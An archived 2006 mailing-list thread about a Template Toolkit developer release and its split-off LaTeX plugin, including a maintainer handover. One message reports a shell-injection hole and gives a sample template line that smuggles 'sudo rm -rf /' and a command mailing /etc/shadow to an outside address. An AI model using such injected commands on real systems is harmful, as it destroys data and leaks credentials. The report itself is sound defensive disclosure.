List Info

Thread: Developer Release 2.15a




Developer Release 2.15a
user name
2006-05-29 15:00:19
There's a developer release v2.15a available from here:

   http://tt2.org/download/Template-Toolkit-2.15a.tar.gz

This fixes a minor bug in t/fileline.t which appears to
report the wrong 
number on FreeBSD boxes.  It also removes the latex filter
which I had 
broken but not removed in 2.15.

There's also the new Template-Latex distribution available
from here:

   ht
tp://tt2.org/download/Template-Latex-2.16.tar.gz

This provides the Latex plugin which defines the latex
filter which is 
no longer a core part of TT.  It also contains the
Template::Latex 
module, a wrapper around the Template module which
pre-defines the 
filter for you and gives you some extra Latex configuration
options.

At the moment you'll get a warning from the Makefile.PL
saying that 
argument 2.15a isn't numeric and that you haven't got TT
2.16 installed. 
  Don't worry about that for now.

Assuming I don't get any more bug reports I'll look at
releasing 2.15a 
as v2.16 in the new few days.

A


_______________________________________________
templates mailing list
templatestemplate-toolkit.org
http://lists.template-toolkit.org/mailman/listinfo/t
emplates
Developer Release 2.15a - new LaTeX plugin distribution and secutity issue?
user name
2006-05-30 09:43:25
Andy Wardley wrote:
> ... It also removes the latex filter which I had broken
but not 
> removed in 2.15.
>
> There's also the new Template-Latex distribution
available from here:
>
>   ht
tp://tt2.org/download/Template-Latex-2.16.tar.gz
>
> This provides the Latex plugin which defines the latex
filter which is 
> no longer a core part of TT.  It also contains the
Template::Latex 
> module, a wrapper around the Template module which
pre-defines the 
> filter for you and gives you some extra Latex
configuration options.
Almost two years ago I made some changes to the LaTeX filter
and 
submitted a patch, but it did not get applied.  The changes
were to make 
the filter optionally run the various LaTeX auxiliary
programs (bibtex 
and makeindex) and to rerun latex or pdflatex a number of
time (or until 
all cross references stabilize).  There are some other
changes I had in 
mind like adding the directory of the template to TEXINPUTS
for the 
child processes (which are run in a temporary directory) can
find files 
for \include and \includegraphics. 

A lot of these options are potentially expensive; for
example with a 
document having a table of contents, an index and
bibliography you could 
be running latex three times to get the TOC generated,
forward 
references and page numbers to settle, then bibtex for the
bibliography, 
latex a couple of times in case the pagination changes,
makeindex and 
then latex one or two more times.  My patch checks the
output from latex 
to see if whether  it gets the message "Label(s) may
have changed" to 
decide whether to re-run latex, so as to avoid unnecessary
runs, but 
nevertheless running the latex filter on a complex document
is expensive.

I use the LaTeX filter quite a bit, so now that the LaTeX
plugin has 
been separated out of the main Template Toolkit distribution
I will 
revisit my changes and suggest how the new separate plugin
could be 
enhanced.


On a different issue, from a cursory scan of the new plugin
I am a 
little worried about security implications implied by the
fact that 
templates can specify the absolute paths of the latex,
pdflatex and 
dvips executables.  This would appear to give the template
writer carte 
blanche to invoke any executable with the rights of the user
processing 
the templates.  The filter does not even seem to validate
these paths 
for embedded whitespace or shell escapes and passes
constructed command 
lines to the shell (via "system"), so I could
try something like:

  [% USE latex(latex => 'sudo rm -rf /;',
                         dvips => "sudo sh -c
'mail badguynsa.gov 
</etc/shaddow';") %]


Finally, now that 2.15 is out I will have another look at
the TT2 quick 
reference card to update it to reflect some of the new
features that 
have appeared.  Any comments on the card or suggestions are
always welcome.

Regards
Andrew

-- 
Andrew Ford,  Director    Pauntley Prints / Ford & Mason
Ltd            
A.Fordford-mason.co.uk   South Wing Compton House          
           
pauntley-prints.co.uk     Compton Green, Redmarley  Tel: +44
1531 829900
ford-mason.co.uk          Gloucester GL19 3JB       Fax: +44
1531 829901
refcards.com cronolog.org Great Britain          Mobile: +44
7785 258278



_______________________________________________
templates mailing list
templatestemplate-toolkit.org
http://lists.template-toolkit.org/mailman/listinfo/t
emplates
Developer Release 2.15a - new LaTeX plugin distribution and secutity issue?
user name
2006-05-30 11:27:01
Andrew Ford wrote:
> Almost two years ago I made some changes to the LaTeX
filter and 
> submitted a patch, but it did not get applied.  

Oops, sorry Andrew.

I remember your patch but can't lay my hands on it now.  I
tidied up all 
my mail folders a while back and now I can't find a damn
thing.  Must've 
gone missing or got stuck at the wrong end of my TODO list
for so long 
that it withered and fell off.

My apologies.

> I use the LaTeX filter quite a bit

I have to admit that I don't use it at all (or very
rarely).  In fact I 
was hoping to find a willing volunteer to take
Template-Latex off my 
hands and steer it in the right direction.

Now I think I've found someone   Are you
interested?

For what it's worth, I agree with all your points.  But if
you're 
willing to take it on them I'm happy for you to change it
however you 
see fit.  You're clearly in a much better position to be
making those 
kind of decision than me.

Cheers
A

_______________________________________________
templates mailing list
templatestemplate-toolkit.org
http://lists.template-toolkit.org/mailman/listinfo/t
emplates
Developer Release 2.15a - new LaTeX plugin distribution and secutity issue?
user name
2006-05-30 12:23:57
> >I use the LaTeX filter quite a bit
> 
> I have to admit that I don't use it at all (or very
rarely).

I'll add a "ME TOO!"  in the heavy usage
category. All of our
administrative PDFs are generated using LaTeX and most of
them are TT
driven.

Everything from statements to paychecks to W2 forms.... you
name it so
 I am VERY glad the filter exists :P


-- 
Todd Freeman  Ext 6103                   .^.    Don't fear
the penguins!
Programming Department                   /V\
Andrews University                      // \\    http://www.linux.org/
http://www.andrews.e
du/~freeman/       /(   )\   http://www.debian.org/
                                        ^^ ^^
Developer Release 2.15a - new LaTeX plugin distribution and secutity issue?
user name
2006-05-30 12:37:13
Andy Wardley wrote:
> Andrew Ford wrote:
>> Almost two years ago I made some changes to the
LaTeX filter and 
>> submitted a patch, but it did not get applied.  
>
> Oops, sorry Andrew.
>
> I remember your patch but can't lay my hands on it
now.  I tidied up 
> all my mail folders a while back and now I can't find
a damn thing.  
> Must've gone missing or got stuck at the wrong end of
my TODO list for 
> so long that it withered and fell off.
>
> My apologies.

No problem.

>> I use the LaTeX filter quite a bit
>
> I have to admit that I don't use it at all (or very
rarely).  In fact 
> I was hoping to find a willing volunteer to take
Template-Latex off my 
> hands and steer it in the right direction.
>
> Now I think I've found someone   Are you
interested?
>
> For what it's worth, I agree with all your points. 
But if you're 
> willing to take it on them I'm happy for you to change
it however you 
> see fit.  You're clearly in a much better position to
be making those 
> kind of decision than me.

Yes, I'll take it on. Is there a separate subversion or cvs
repository 
for the LaTeX plugin from the TT2 repository?

Regards
Andrew

-- 
Andrew Ford,  Director    Pauntley Prints / Ford & Mason
Ltd            
A.Fordford-mason.co.uk   South Wing Compton House          
           
pauntley-prints.co.uk     Compton Green, Redmarley  Tel: +44
1531 829900
ford-mason.co.uk          Gloucester GL19 3JB       Fax: +44
1531 829901
refcards.com cronolog.org Great Britain          Mobile: +44
7785 258278



_______________________________________________
templates mailing list
templatestemplate-toolkit.org
http://lists.template-toolkit.org/mailman/listinfo/t
emplates
[1-5]

about | contact  Other archives ( Real Estate discussion Medical topics )